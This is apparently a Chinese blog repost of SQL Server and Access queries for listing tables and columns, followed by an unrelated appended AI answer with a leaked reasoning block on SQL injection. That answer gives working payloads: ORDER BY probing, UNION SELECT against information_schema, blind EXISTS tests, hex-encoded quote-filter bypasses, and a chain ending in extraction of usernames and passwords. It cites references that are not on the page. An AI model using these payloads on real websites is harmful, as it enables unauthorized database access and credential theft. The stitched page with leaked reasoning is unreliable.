SQL 查找表名 字段名

转载:http://www.accessoft.com/article-show.asp?id=6135

经常碰到一些忘记表名称的情况,此时只记得个大概,此时可通过查询系统表Sysobjects找到所要的表名,如要查找包含用户的表名,可通过以下SQL语句实现,

Select * 
From sysobjects 
Where name like '%user%'

如果知道列名,想查找包含有该列的表名,可加上系统表syscolumns来实现,如想查找列名中包含有user的所有表名,可通过以下SQL语句来实现 
Select * 
From sysobjects s 
Where Exists( 
Select * 
From syscolumns 
Where ID = s.ID and name like '%user%'
)
 

SQL SERVER

查看所有表名:
select    name    from    sysobjects    where    type='U'

查询表的所有字段名:
Select name from syscolumns Where ID=OBJECT_ID('表名')

select * from information_schema.tables
select * from information_schema.views
select * from information_schema.columns

ACCESS

查看所有表名:
select    name    from    MSysObjects    where    type=1    and    flags=0

MSysObjects是系统对象,默认情况是隐藏的。通过工具、选项、视图、显示、系统对象可以使之显示出来。 

1.按姓氏笔画排序: 
Select * From TableName order By CustomerName Collate Chinese_PRC_Stroke_ci_as

2.分页SQL语句 
select * from(select (row_number() OVER (ORDER BY tab.ID Desc)) as rownum,tab.* from 表名 As tab) As t where rownum between 起始位置 And 结束位置

3.获取当前数据库中的所有用户表 
select * from sysobjects where xtype='U' and category=0

4.获取某一个表的所有字段 
select name from syscolumns where id=object_id('表名')

5.查看与某一个表相关的视图、存储过程、函数 
select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'

6.查看当前数据库中所有存储过程 
select name as 存储过程名称 from sysobjects where xtype='P'

7.查询用户创建的所有数据库 
select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa') 
或者 
select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01

8.查询某一个表的字段和数据类型 
select column_name,data_type from information_schema.columns 
where table_name = '表名'

9.使用事务 
在使用一些对数据库表的临时的SQL语句操作时,可以采用SQL SERVER事务处理,防止对数据操作后发现误操作问题 
开始事务 
Begin tran 
Insert Into TableName Values(…) 
SQL语句操作不正常,则回滚事务。 
回滚事务 
Rollback tran 
SQL语句操作正常,则提交事务,数据提交至数据库。 
提交事务 
Commit tran 
10. 按全文匹配方式查询 
字段名 LIKE N'%[^a-zA-Z0-9]China[^a-zA-Z0-9]%' 
or 字段名 LIKE N'%[^a-zA-Z0-9]China' 
or 字段名 LIKE N'China[^a-zA-Z0-9]%' 
or 字段名 LIKE N'China

11.计算执行SQL语句查询时间 
declare @d datetime 
set @d=getdate() 
select * from SYS_ColumnProperties select [语句执行花费时间(毫秒)]=datediff(ms,@d,getdate())

12、说明:几个高级查询运算词 
A: UNION 运算符 
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。 
B: EXCEPT 运算符 
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。 
C: INTERSECT 运算符 
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。

转载于:https://www.cnblogs.com/mrethan/p/4569363.html

<think> 嗯,用户的问题是关于SQL注入中查找字段名的语句。我需要结合用户提供的引用内容来回答这个问题。 用户引用了四篇关于SQL注入的材料,其中引用[1]和[2]特别有用。引用[1]提到使用union select联合查询来获取数据库信息,需要猜测字段名。引用[2]具体展示了如何利用已知字段数来获取数据库,使用语句如"1' union select 1, database() #"。 用户的核心问题是如何查找字段名。根据SQL注入的原理,当已经确定字段数后,下一步就是获取字段名。在MySQL中,这可以通过查询information_schema数据库来实现。特别是information_schema.columns存储了所有字段信息。 我考虑设计一个标准的查询语句:在确定字段数后,使用union select结合查询information_schema.columns来获取字段名。例如:假设字段数是3个,可以构造如"1' union select 1, column_name, 3 from information_schema.columns where table_name='users' #"这样的语句。这里table_name参数需要替换为目标。 用户可能还需要知道如何获取,这可以通过查询information_schema.tables来实现。所以我也应该提供获取的示例语句作为补充。 需要注意的是,实际注入时需要根据字段数调整select后的参数个数,并注意显示位置。如果网页只显示部分结果,可能需要使用limit或偏移量来遍历所有结果。 为了更全面,我还应该提醒用户注意数据库版本差异,因为不同数据库的系统可能不同。同时强调这些技术仅用于授权测试,避免法律风险。 最后考虑如何组织回答:先解释原理,再给出具体语句示例,最后补充注意事项。这样既解决了用户问题,又提供了完整的技术背景。 </think> 在SQL注入中获取字段名(列)的核心方法是查询数据库的**元数据**(如MySQL的`information_schema.columns`)。以下是具体步骤和语句: ### 一、核心步骤 1. **确定字段数** 通过`ORDER BY`递增测试,直到页面报错或显示异常: ```sql ' ORDER BY 1-- ' ORDER BY 2-- ... /* 直到出现错误 */ ``` 假设确定字段数为 `3` 2. **获取** 查询目标数据库中的(假设数据库为 `web_db`): ```sql ' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='web_db'-- ``` 常见目标:`users`, `admin`, `customer` 等。 3. **获取字段名** 关键语句(以 `users` 为例): ```sql ' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema='web_db' AND table_name='users'-- ``` - `column_name` 字段会返回目标的所有列(如 `username`, `password`) - 若网页仅显示一个位置,可用 `GROUP_CONCAT(column_name)` 合并结果: ```sql ' UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_schema='web_db' AND table_name='users'-- ``` ### 二、其他技巧 1. **盲注场景**(无显错位时) 通过条件判断猜测字段名: ```sql ' AND EXISTS(SELECT * FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 'pass%')-- ``` 2. **利用数据库特性** - **MySQL**: 必须访问 `information_schema` - **SQL Server**: 查询 `sys.columns` - **Oracle**: 查询 `ALL_TAB_COLUMNS` ### 三、防御与注意事项 1. 注入前需明确数据库类型(方法差异大)[^1][^3] 2. 实际注入中需绕过引号过滤(如用十六进制编码 `0x7573657273` 代替 `'users'`) 3. 该技术仅限授权测试,非法使用违法[^3][^4] > **示例攻击链**: > 字段数探测 → 获取数据库获取获取字段名 → 提取数据 > 如:`' UNION SELECT null, username, password FROM users-- `
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值